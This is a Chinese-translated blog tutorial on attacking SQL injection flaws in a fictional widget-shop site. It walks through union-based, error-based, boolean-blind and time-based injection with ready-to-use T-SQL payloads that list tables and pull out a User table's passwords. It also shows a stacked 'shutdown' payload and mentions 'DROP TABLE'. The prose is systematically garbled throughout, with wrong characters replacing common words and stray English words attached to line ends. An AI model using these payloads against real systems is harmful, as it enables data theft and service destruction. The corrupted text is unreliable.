戴上你的黑帽,如今咱们来学习一些关于SQL注入真正有趣的东西。请记住,大家都好好地用这些将要看到的东西,好吗?html
SQL注入攻击因以下几点而是一种特别有趣的冒险:web
SQL注入攻击因一个很是恰当的缘由而被保留在OWASP(Open Web Application Security Project 开放Web应用安全项目) 的十大隐患列表中第一位——它特别常见,很是容易利用,并且影响十分剧烈。一个很微小的注入风险常常就能使整个系统中的全部数据都被泄漏——而我将要展现给你如何运用大量不一样的技术本身来这样作。sql
我几年前写《the OWASP Top 10 for .NET developers》时展现过如何防范SQL注入攻击,因此我不会专一在这些,这都是漏洞利用。受够了那些无聊的防护工具,让咱们来攻击别的东西。shell
让咱们对让SQL注入攻击成为可能的缘由作一个快速归纳。简而言之,这就是输入查询并解密数据。让我把所说的可视化给你:好比说你有一个包含有相似于“id=1”之类的字符串参数的URL,容纳后那个参数经过以下方式构造了一个SQL查询。数据库
这整个URL可能和这个东西看起来很像:浏览器
这是挺基础的东西,而当你能掌控连接中的信息并改变传递给查询的值时会变得有趣。好了,把1变成2会给你另外一个你期待的东西,可是若是你这样作呢?安全
http://widgetshop.com/widget/?id=1 or 1=1服务器
那可能在数据库服务器中存留成这样的:网络
1
|
SELECT
*
FROM
Widget
WHERE
ID = 1
OR
1=1
|
这告诉咱们的是数据没有被净化——在上例中ID应该只是一个整数但“1 OR 1=1”的值也被接受。更重要的是,由于数据只是简单地被添加到查询中,它可以改变语句的功能。这个查询将可以选择全部的记录而不是单个记录,由于”1=1″语句是恒成立的。架构
或者,咱们能够经过把“or 1=1”改为“and 1=2”来强制页面不返回任何记录,由于它一直都不成立因此没有结果返回。在这两个可选的方案中咱们能方便地肯定程序是否受注入攻击威胁。
这是SQL注入攻击的本质——经过不被信任的数据巧妙地操纵查询的执行——而在开发者作这样子事时发生。
1
2
3
|
query =
"SELECT * FROM Widget WHERE ID = "
+ Request.QueryString[
"ID"
];
//
Execute
the query...
//执行查询...
|
固然他们作的是将不被信任的数据参数化,但本文中我不会过多叙述(若是想要了解防范措施,转回part one of my OWASP series),而将更多谈论如何发动攻击。
好了,因而背景部分介绍了如何展现SQL注入风险存在,但你能拿它怎么办?让咱们开始探寻一些广泛的注入模式。
让咱们举个例子,表示咱们想要返回一堆记录的页面,在这里是一个有一堆带有“TypeId”1的小东西的URL。像这样:
http://widgetshop.com/Widgets/?TypeId=1
页面上的结果会像这样:
咱们会期待这个查询进入到数据库时变成像这样的东西:
1
|
SELECT
Name
FROM
Widget
WHERE
TypeId = 1
|
可是若是咱们能应用我上述描绘的,也就是说咱们可能可以给查询字符串中的数据添加SQL,咱们可能会作出这样的东西:
http://widgetshop.com/Widgets/?TypeId=1 union all select name from sysobjects where xtype=’u’
而后它将产生一个以下的SQL查询:
1
|
SELECT
Name
FROM
Widget
WHERE
TypeId = 1
union
all
select
name
from
sysobjects
where
xtype=
'u'
|
如今记好了系统对象表列举数据库中全部对象,而在这个例子中咱们用 xtype “u” 来筛选这个表,换言之,用户表。
当一个注入风险存在的时候将会有以下的输出:
这就是叫作合并基于查询的注入攻击,就像咱们刚才简单地像原始结果添加一项,它直接到了HTML输出中——简单吧!既然咱们已经知道有一个数据表叫“User”,咱们能够作这样的事:
http://widgetshop.com/Widgets/?TypeId=1 union all select password from [user]
若是数据表中“user”不被中括号括起来,考虑到“user”这个词在数据库看来有其余含义,SQL服务器会变得不易控制。无论怎样,这是它返回的:
固然,UNION ALL语句只在第一个SELECT语句和第二个有相同的字段时起做用。这很容易被发现,你只需试试一些“union all select ‘a’”,若是它查询失败就试试“union all select ‘a’, ‘b’”之类的,以此类推。根本上你是在不断猜想列数直到你构造的查询发挥做用。
咱们能够继续研究这个方面并揪出各类数据,但仍是学习下一种攻击方式吧。有时一个基于合并查询的注入不会发挥做用,与输入格式、查询中添加的数据甚至结果如何显示都有关。为了绕开它咱们须要变得更有创造性一些。
http://widgetshop.com/widget/?id=1 or x=1
等一下,这不是一个合法的SQL语句,那个“x=1”不会被处理,至少在没有一个叫作x的列时不会被处理。那么它不会抛出一个异常吗?严格地说,事实上你将会看到像这样的异常:
这是一个ASP.NET的错误,而其余的框架也有相似的样式。可是重要的是这些错误信息暴露了内部的实现方式,换言之,这告诉咱们数据库中没有叫作“x”的字段。为何这很重要?从根本上说,这是由于你一旦确立了一个应用程序在泄漏SQL异常,你就能够作这样的事:
http://widgetshop.com/widget/?id=convert(int,(select top 1 name from sysobjects where id=(select top 1 id from (select top 1 id from sysobjects where xtype=’u’ order by id) sq order by id DESC)))
这有好多须要吸取理解,我等会将回来详细解释。更重要的是经过那条语句你可以在浏览器中获得这样的结果:
如今咱们获得了,咱们已经发现那数据库里有一个表单叫作“Widget”。你将常常能看到这中注入攻击因依赖于数据库内部的错误而被称做“基于错误信息的注入”。让咱们解构URL中的这个查询:
1
2
3
4
5
6
7
8
|
convert
(
int
, (
select
top
1
name
from
sysobjects
where
id=(
select
top
1 id
from
(
select
top
1 id
from
sysobjects
where
xtype=
'u'
order
by
id
) sq
order
by
id
DESC
)
)
)
|
从最深层的开始理解,咱们先按照ID的顺序从sysobjects表获取第一个有记录的ID。在那里,咱们获取最后一个ID(这就是为何它是按降序排列),并把它传递到第一个select语句。那个语句接下来只会将那个表单名称转换成一个整数。这个转换将大多数状况下失败(各位,不要用“1”或“2”或其余整数来命名数据表就是这个缘由!),而这个异常暴露了UI中的表单名称。
为何是三个select语句?由于这意味着咱们能够进入最深层的那个并把“top1”改成“top2”,获得以下结果:
如今咱们知道了这个数据库有一个数据表叫作“User”。利用这种方法咱们能够发现各个表单的字段名称(只需向syscolumns表应用一样的思路)。咱们能够更进一步扩展这个思路
在上一个截图中,我已经发现了叫作User的表单和名为Password的列,如今我须要作的就是把那个表单选出来(固然,你能够用嵌套的select语句来一个一个枚举全部的记录),并经过将字符串转换成整数来构造异常(你老是可以在数据后面经过加一个英文字符来看它究竟是不是一个整数,以后尝试将整个字符串转换为整数时就会产生一个异常)。若是你想要进一步理解这能够有多简单,我去年录制了一个我教3岁儿子用Havij来自动注入的视频,那里运用了这个技术。
可是这里有一个问题——它惟一能成功的多是由于那个app有些淘气并将内部的错误信息展现给公众。事实上那个app差很少直接告诉了咱们表单和列表的名字并当咱们作出恰当询问时返回数据,那么若是那个app不这样作又会怎样呢?个人意思是,若是那个app设定恰当而没有泄漏内部的错误信息呢?
这就是咱们运用“blind”SQL(多译为盲注)注入的地方,那真的是一个有趣的东西。
在上一个例子中(事实上也在不少成功的注入攻击先例中),攻击依赖于受攻击的app明确地将内部的细节,要么是合并表单,要么是将数据返回,要么将错误信息传回浏览器。泄漏内部的实现方法一直都是一键很差的事,由于正如你以前看到的那样,像这样不安全的错误处理能够促使不只仅是应用程序的架构泄漏,更会使你极易从中获取数据。
一个恰当设定的app应当可以在获得一个未经处理的异常时返回一个和下面这个类似的错误信息:
这是新ASP.NET的app在处理自定义错误时的默认错误页面,可是相似的样式也在别的technology stacks中出现。如今这个页面已经和以前那个显示内部SQL异常的页面如出一辙了,只不过是用一个有好的错误信息代替直接展现出来的异常。假如咱们同时也不能实现一个基于合并查询的攻击,SQl注入风险就彻底不存在了吗?不必定……
盲目地SQl注入攻击依赖于咱们变得可以获得不言而喻的信息,换言之,咱们可以经过观察app并无直接告诉咱们的表单名称或者在浏览器中直接显示的列表数据来下结论。固然问题来了——咱们如何让app按照一个能够观察到的格式来揭示咱们以前有的信息,而并不显式地告诉咱们?
咱们将去欣赏两种尝试:基于布尔值的和基于时间的。
这只有你询问app正确的问题时成立。以前,咱们可以明确地询问这样的问题,好比“你有什么表单?”或“每一个表单中你有什么数据列?”,而后数据库会明确地告诉咱们。如今咱们须要稍微变换一线询问的方式,好比像这样:
1
|
http://widgetshop.com/widget/?id=1 and 1=2 Clearly this equivalency test can never be true – one will never be equal to two. How an app at risk of injection responds to this request is the cornerstone of blind SQLi and it can happen in one of two different ways.
|
显然这个相等测试永远不会成立——1永远都不等于2。那么一个app如何处理这样的查询决定了它的SQL注入风险,可能会有两种方式。
第一种,若是没有记录返回,它可能只抛回一个异常。一般开发者会假设那里存在一个与查询的字符串有关的记录,由于常常会是app本身产生那个连接并在另外一个页面中获取数据。而当那里没有数据能够返回时,事情就不同了。或者第二种,那个app可能抛出一个异常并同时不会展现记录,由于那个相等永远都是错的。无论怎样,那个app都会隐含地告诉咱们数据库中没有记录被返回。
如今咱们试试这个:
1
2
3
4
5
6
7
|
1
and
(
select
top
1
substring
(
name
, 1, 1)
from
sysobjects
where
id=(
select
top
1 id
from
(
select
top
1 id
from
sysobjects
where
xtype=
'u'
order
by
id
) sq
order
by
id
desc
)
) =
'a'
|
要记住用这整个语句块来替换刚才那个查询串的“?id=1”,这其实是一个在前一个询问上作出的小变化,试图获取表单名称。事实上主要的区别在于如今不是试图经过将字符串转换为整数来构造异常,而是运用相等测试来检查是否有一个表单首字母为“a”(假设这里对大小写不敏感)。若是这个查询和“?id=1”给咱们的信息同样,那么它就至关于向咱们证明相等测试成立了,sysobjects里确实有一个首字母开头为“a”的表单。若是它给咱们以前咱们提到过的两种情景之一,那么咱们就知道表单并无以“a”开头,由于没有信息被返回。
如今咱们获得的只有sysobjects中表单的第一个字母,当你想要获得第二个字母是substring语句须要变成如今这样:
1
|
select
top
1
substring
(
name
, 2, 1)
from
sysobjects
where
id=(
|
你能看到它如今从2开始而不是1.固然,这很费力:你在枚举sysobjects中全部表单后枚举了全部字母表中可能组成的词,直到你最后获得告终果,而后你又要表单名称的每个字符重复这个过程。可是,有一种像这样的快捷方式:
1
2
3
4
5
6
7
8
9
|
1
and
(
select
top
1 ascii(
lower
(
substring
(
name
, 1, 1)))
from
sysobjects
where
id=(
select
top
1 id
from
(
select
top
1 id
from
sysobjects
where
xtype=
'u'
order
by
id
) sq
order
by
id
desc
)
) > 109
|
这里有一个微妙但很重要的区别,它没有检查单个字符匹配,而是查找字符在ASCII表中的位置。事实上,它先将表单名称转换为小写字母,这样咱们只须要处理26个字符(固然,假设命名中只有字母),而后它获取那个字母的ASCII值。在上一个例子中,它接着检查表单中是否有以在“m”(ASCII值为109)以后的字母开头的,而后相同的潜力成功描述了以前应用的(要么一个记录被返回要么没有)。主要的区别在于,没有进行26次尝试猜想字母(并连续进行26次HTTP请求),它如今将会在5次尝试中穷尽全部可能——你只须要不断将可能的ASCII值区间减半直到最后只有一种可能剩余。
好比,若是一个字符ASCII值比109大,那么它必定在“n”和“z”之间因此你分割(大体地)这个区间为一半,而后尝试大于115那个。若是那是错误的那么正确的字符就必定在“n”和“s”之间,因此你再将区间减半,而后尝试大于112的那个。那时正确的因此如今只有三个字符剩下了,因此你能够在至多两次尝试中将区间减少至长度为1。一句话就是至多26次猜想(平均起来13次),如今只须要5次,若是你只是简单地每次将答案区间减半。
经过构造恰当的询问app将依旧告诉你以前它经过明确的错误信息告诉你的东西,只不过它如今有些怕羞,你须要哄它才会获得答案。这常常被叫作“基于布尔值”的SQL注入,而它在以前演示过的“基于合并查询”的和“基于错误信息”的方案很差用时可以发挥做用。但这并不是万无一失,让咱们看看另外一个途径,这回咱们将要有一些耐心。
全部实时的方案成功发挥做用都是基于一个假设:app会经过HTML输出来泄漏信息。在以前的例子中基于合并查询的和基于错误信息的尝试是在浏览器中给咱们数据来明确地告诉咱们对象名称和泄漏的内部数据。在盲目的基于布尔值的例子中,咱们被隐含地告知同一份信息借助于HTML和基于真假相等测试获得的结果不一样。那么当这份信息不能经过HTML泄漏时,不管是明确地仍是隐含地,怎么办?
让咱们想像有另外一个攻击媒介是这个URl:
1
|
http://widgetshop.com/Widgets/?OrderBy=Name
|
在这个例子中很正常假设查询会被翻译成像这样的东西:
1
|
SELECT
*
FROM
Widget
ORDER
BY
Name
|
显然咱们不能直接开始向ORDER BY语句直接加东西(尽管那里已经有其余角度你能够挂载一个基于布尔值的攻击),因此咱们须要尝试另外一种途径。一个很常见的SQL注入技巧是终止一个语句并随后附加一个语句,好比像这样:
1
|
http://widgetshop.com/Widgets/?OrderBy=
Name
;
SELECT
DB_NAME()
|
这是一个无害的语句(尽管在查找数据库的名字是可能会有用),一个更有害的途径可能会是相似于“DROP TABLE Widget”的东西。固然web app链接数据库所调用的账号须要有这样的权限,问题在于一旦你开始将连接链接起来,它的潜力就开始发挥。
回到那个盲目的SQL注入攻击,如今咱们须要作的是找到一个在附加语句中运用以前讨论到的基于布尔值的测试。要作到这点咱们须要用WAITFOR DELAY语句来产生延时。试试这个,看看尺寸:
这和以前的例子只有一个微小的变化,以前是经过操纵WHERE语句改变返回的记录的书目,而如今只是用一个新的语句来查找sysobjects中是否存在一个表单以一个比“m”大的字母开头,而且若是存在,查询将稍微等待5秒钟。咱们仍旧须要缩小表单名称的范围并且须要尝试表单名中的每个字符而咱们仍旧须要查询sysobjects中的其余表单(固然还要看看syscolumns并将数据提取出来),但全部这一切彻底能够用一点时间。5秒钟可能比须要的有些长了或者它可能不够长,这一切都归结于应用程序的响应时间如何保持一致,由于最终这都被设计来操做一个能被观察到的行为——从开始查询到最后获得结果要通过多长时间。
这个攻击——还有以前那些——固然被能够彻底地自动化,由于除了简单枚举和条件逻辑以外不剩别的了。固然它可能会占用一些时间,但那是一个相对的概念:若是一个正常的查询须要1秒钟,而5次尝试只有一半须要完成的话,你应该期待每17.5秒获得一个字符,好比有数据库中平均有10个字符的话,就是须要大概3分钟获得一个表单,而可能一个数据库中有20个表单,咱们就认为大概一小时你就能获得系统中的每个表单名称。而这是你用单线程方式作这些的状况。
这是那些有一堆不一样角度观点的话题,不仅由于有太多的数据库、app框架、服务器的组成,更不要说一整个防护体系好比网络应用的防火墙。一个事情变得棘手的例子是若是你须要求助于基于时间的攻击而数据库尚未支持延迟功能,好比一个Access数据库(是的,游戏而事实上在网站中用这些!)这里的一个途径是用叫作 heavy queries的方案,查询因为自己的性质会致使响应是缓慢的。
另外一件关于SQL注入攻击值得一提的是攻击是否成功有两个关键因素:第一个是app在输入方面的规范,这决定了app最终会接收到什么字符并传给数据库。一般咱们会看到很零零碎碎的途径,好比尖括号和引号被剥离,但其余一切是容许的。当这种状况出现时,攻击者须要变得有创意,考虑如何构造恰当的查询使得“路障”被避免。而这正是第二点——攻击者的SQl实力是相当重要的。这不是指你运用TSQL的SELECT FROM的能力,那些优秀的SQl注入者掌握大量可以绕过输入检测的窍门并从系统中选择数据而使它们能经过网页来检索。好比说,搜寻一个列的类型能够经过像这样的小技巧:
1
|
http://widgetshop.com/Widget/?id=1
union
select
sum
(instock)
from
widget
|
在这个例子中,基于错误的注入攻击将在错误信息返回到UI时(固然,若是没有报错就是指它是整型的)会告诉你“InStock”列是什么类型的
或者一旦你彻底厌倦了那个该死的易受攻击的站点仍然在网络上留存,试试这个:
1
|
http://widgetshop.com/Widget/?id=1;shutdown
|
可是注入攻击能够经过从HTTP中获取信息而更进一步,好比那里有能给攻击者机器脚本的载体或者试试另外一个离题的——为何不试试直接经过HTML获取那该死的东西?你就建立一个本地的SQL服务器并经过1433端口远程链接到SQL Server Management Studio!等一下,你会须要那个网页app用来连接数据库来创造用户的账号,是吗?是的,并且大部分人都须要,事实上你只需经过Google就能找到它们(译注:用度娘会告诉你找不到)(固然这种状况下SQL注入攻击就没有必要了,由于数据库此时已经能公开获取)
最后,若是关于SQl注入攻击及漏洞的流行和在当今软件行业的影响还有什么疑问,就在上周就有一篇 关于能够说是迄今为止最大的黑客方案之一的新闻,据称它造就了3亿损失
这起诉书也暗示那些黑客,在大多数状况下,没有部署很复杂的方案来进入企业网络。这篇报道也展现了在大多数状况下缺口是经过SQL注入漏洞的道德——这一威胁已经被完全证实并领悟远超过十年了。
可能SQL注入攻击没有像某些人相信的那样被人理解。
转自伯乐在线